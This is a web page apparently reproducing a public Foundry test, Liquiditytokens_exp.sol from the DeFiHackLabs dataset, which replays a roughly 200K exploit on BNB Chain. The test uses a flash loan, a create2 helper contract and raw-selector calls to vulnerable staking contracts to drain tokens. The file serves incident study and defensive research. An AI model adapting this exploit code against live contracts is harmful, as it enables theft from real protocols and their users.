Public reproduction file
src/test/2024-05/Liquiditytokens_exp.sol
Public reproduction file for dataset entry Liquiditytokens.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo -- Total Lost : ~200K8// TX : https://app.blocksec.com/explorer/tx/bsc/0x1350cc72865420ba5d3c27234fd4665ad25c021b0a75ba03bc8340a1b1f98a459// Attacker : https://bscscan.com/address/0x6951eb8a4a1dab360f2230fb654551335d560ec010// Attack Contract : https://bscscan.com/address/0xbdfbb387fbf20379c016998ac609871c3357d74911// GUY : https://x.com/EXVULSEC/status/179649906958372463813interface Imoney {14 function stakes() external;15 function Send() external;16}18contract ContractTest is Test {19 IWBNB constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));20 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);21 Uni_Pair_V3 Pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);22 Uni_Pair_V2 Pair = Uni_Pair_V2(0x72dCf845AE36401e82e681B0E063d0703bAC0Bba);23 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);24 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);25 IERC20 Vow = IERC20(0xF585B5b4f22816BAf7629AEA55B701662630397b);26 IERC20 Vusd = IERC20(0xc0D8DaA6516BaB4eFCe440860987E735BaB44160);27 IERC20 TLN = IERC20(0xf7d142a354322C7560250CaA0e2a06c89649e4C2);28 address Tlnswap = (0x19B3F588BdC9a6f9ecb8255919B02F9ADF053363);29 address VulnContract = 0x028c911C10c9E346158206991E02D09Bd0A8A35b;30 address VulnContract_2 = 0x85F82230883693f1Bbff65be1f7663EE5F0AA5f8;31 uint256 constant PRECISION = 10 ** 18;33 function setUp() external {34 vm.createSelectFork("bsc", 39_198_657);35 deal(address(WBNB), address(this), 2 ether);36 deal(address(BUSD), address(this), 0);37 }39 function testExploit() external {40 emit log_named_decimal_uint("[Begin] Attacker BUSD before exploit", BUSD.balanceOf(address(this)), 18);42 Pool.flash(address(this), 19_000_000 ether, 0, "0x123");44 emit log_named_decimal_uint("[End] Attacker BUSD after exploit", BUSD.balanceOf(address(this)), 18);45 emit log_named_decimal_uint("[End] Attacker Vow after exploit", Vow.balanceOf(address(this)), 18);46 }48 // function attack() internal {49 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {50 //Step 151 //Tx:https://app.blocksec.com/explorer/0x8d27f9a15b1834e5f9e55d47ec32d01e7fe54f93cfc6ea9d4e8c5fbe7275689752 swap_token_to_tokens(address(WBNB), address(BUSD), address(Vow), 2 ether);53 swap_token_to_token(address(Vow), address(Vusd), 854_320_785_746_786_696_066);54 Vusd.approve(address(Router), 2_000_000 ether);55 Vow.approve(address(Router), 2_000_000 ether);56 Router.addLiquidity(57 address(Vow),58 address(Vusd),59 854_320_785_746_786_696_066,60 1_182_464_186_867_710_570_390,61 0,62 0,63 address(this),64 block.timestamp + 50065 );66 address HelperExploitContract = create_contract(1);67 //function join(address R e) public68 address(VulnContract).call(abi.encodeWithSelector(bytes4(0x28ffe6c8), address(HelperExploitContract)));70 //Step 271 swap_token_to_token(address(BUSD), address(Vow), 19_000_000 ether);73 Pair.transfer(address(HelperExploitContract), 1 ether);75 Imoney(HelperExploitContract).stakes();77 Pair.approve(address(VulnContract_2), type(uint256).max);79 //stake()80 address(VulnContract_2).call(abi.encodeWithSelector(bytes4(0xa694fc3a), 942_253_377_026_177_767_815));82 Imoney(HelperExploitContract).Send();84 Vow.approve(address(Tlnswap), type(uint256).max);85 TLN.approve(address(Tlnswap), type(uint256).max);87 //function lock(uint256 amount) external(Use function selector)88 address(Tlnswap).call(abi.encodeWithSelector(bytes4(0xdd467064), 3_199_510_344_301_177_871_795_565));90 swap_token_to_token(address(Vusd), address(Vow), 3_199_510 ether);91 swap_token_to_token(address(Vow), address(BUSD), 800_000 ether);93 BUSD.transfer(msg.sender, 19_000_000 * 1e18 + fee0);94 }96 function swap_token_to_tokens(address a, address b, address c, uint256 amount) internal {97 IERC20(a).approve(address(Router), amount);98 address[] memory path = new address[](3);99 path[0] = address(a);100 path[1] = address(b);101 path[2] = address(c);102 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);103 }105 function swap_token_to_token(address a, address b, uint256 amount) internal {106 IERC20(a).approve(address(Router), amount);107 address[] memory path = new address[](2);108 path[0] = address(a);109 path[1] = address(b);110 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);111 }113 function getbalance() public {114 emit log_named_decimal_uint("this token balance", Vow.balanceOf(address(this)), Vow.decimals());115 }117 function getreserves(118 uint256 stepNum119 ) public {120 console.log("Step %i", stepNum);121 (uint256 reserveIn, uint256 reserveOut,) = Pair.getReserves();122 emit log_named_decimal_uint("ReserveIn", reserveIn, 1);123 emit log_named_decimal_uint("ReserveOut", reserveOut, 18);124 }126 function cal_address(127 uint256 time128 ) internal returns (address) {129 bytes memory bytecode = type(Money).creationCode;130 uint256 _salt = time;131 bytecode = abi.encodePacked(bytecode);132 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));133 address hack_contract = address(uint160(uint256(hash)));134 return hack_contract;135 }137 function create_contract(138 uint256 times139 ) internal returns (address) {140 uint256 i = 0;141 while (i < times) {142 bytes memory bytecode = type(Money).creationCode;143 uint256 _salt = i;144 bytecode = abi.encodePacked(bytecode);145 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));146 address hack_contract = address(uint160(uint256(hash)));147 address addr;148 // Use create2 to Send money first.149 assembly {150 addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)151 }152 i++;153 return hack_contract;154 }155 }157 receive() external payable {}158}160contract Money is Test {161 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));162 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);163 Uni_Pair_V2 Pair = Uni_Pair_V2(0x72dCf845AE36401e82e681B0E063d0703bAC0Bba);164 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);165 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);166 IERC20 TLN = IERC20(0xf7d142a354322C7560250CaA0e2a06c89649e4C2);167 address VulnContract = 0x028c911C10c9E346158206991E02D09Bd0A8A35b;168 address VulnContract_2 = 0x85F82230883693f1Bbff65be1f7663EE5F0AA5f8;169 address Referer = 0xEB1Df3Bed5bd20c010CAAd4EE18Ff7A697334E68;170 uint256 constant PRECISION = 10 ** 18;171 address owner;173 constructor() {174 owner = msg.sender;175 address(VulnContract).call(abi.encodeWithSelector(bytes4(0x60410fbb), 1));176 address(VulnContract).call(abi.encodeWithSelector(bytes4(0x28ffe6c8), address(Referer)));177 }179 function stakes() external {180 require(owner == msg.sender, "error");181 Pair.approve(address(VulnContract_2), type(uint256).max);182 //stake183 address(VulnContract_2).call(abi.encodeWithSelector(bytes4(0xa694fc3a), 1 ether));184 }186 function Send() public {187 require(owner == msg.sender, "error");188 TLN.transfer(address(msg.sender), TLN.balanceOf(address(this)));189 }191 fallback() external payable {}192 receive() external payable {}193}Analysis
Dataset entry
Public Foundry test for “Liquiditytokens” (2024-05-31). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
18 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-05/Burner_exp.solSame month in the dataset · 63 lines
- src/test/2024-05/EXcommunity_exp.solSame month in the dataset · 139 lines
- src/test/2024-05/GFOX_exp.solSame month in the dataset · 69 lines
- src/test/2024-05/GPU_exp.solSame month in the dataset · 74 lines
- src/test/2024-05/MetaDragon_exp.solSame month in the dataset · 49 lines
- src/test/2024-05/MixedSwapRouter_exp.solSame month in the dataset · 188 lines
- src/test/2024-05/NORMIE_exp.solSame month in the dataset · 138 lines
- src/test/2024-05/OSN_exp.solSame month in the dataset · 187 lines
- src/test/2024-05/PredyFinance_exp.solSame month in the dataset · 181 lines
- src/test/2024-05/RedKeysCoin_exp.solSame month in the dataset · 76 lines
- src/test/2024-05/SATURN_exp.solSame month in the dataset · 133 lines
- src/test/2024-05/SCROLL_exp.solSame month in the dataset · 68 lines
- src/test/2024-05/Sonne_exp.solSame month in the dataset · 185 lines
- src/test/2024-05/TCH_exp.solSame month in the dataset · 277 lines
- src/test/2024-05/TGC_exp.solSame month in the dataset · 74 lines
- src/test/2024-05/Tradeonorion_exp.solSame month in the dataset · 346 lines
- src/test/2024-05/TSURU_exp.solSame month in the dataset · 97 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x6951eb8a4a1dab360f2230fb654551335d560ec0
- Attack Contract
0xbdfbb387fbf20379c016998ac609871c3357d749
File record
- Name
- Liquiditytokens
- Path
- src/test/2024-05/Liquiditytokens_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 1ce451764a8894f2d4597924869ba22f53e382ba
- Language
- Solidity
- Size
- 194 lines
- Date
- 2024-05-31
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-05/Liquiditytokens_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1ce451764a8894f2d4597924869ba22f53e382ba, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.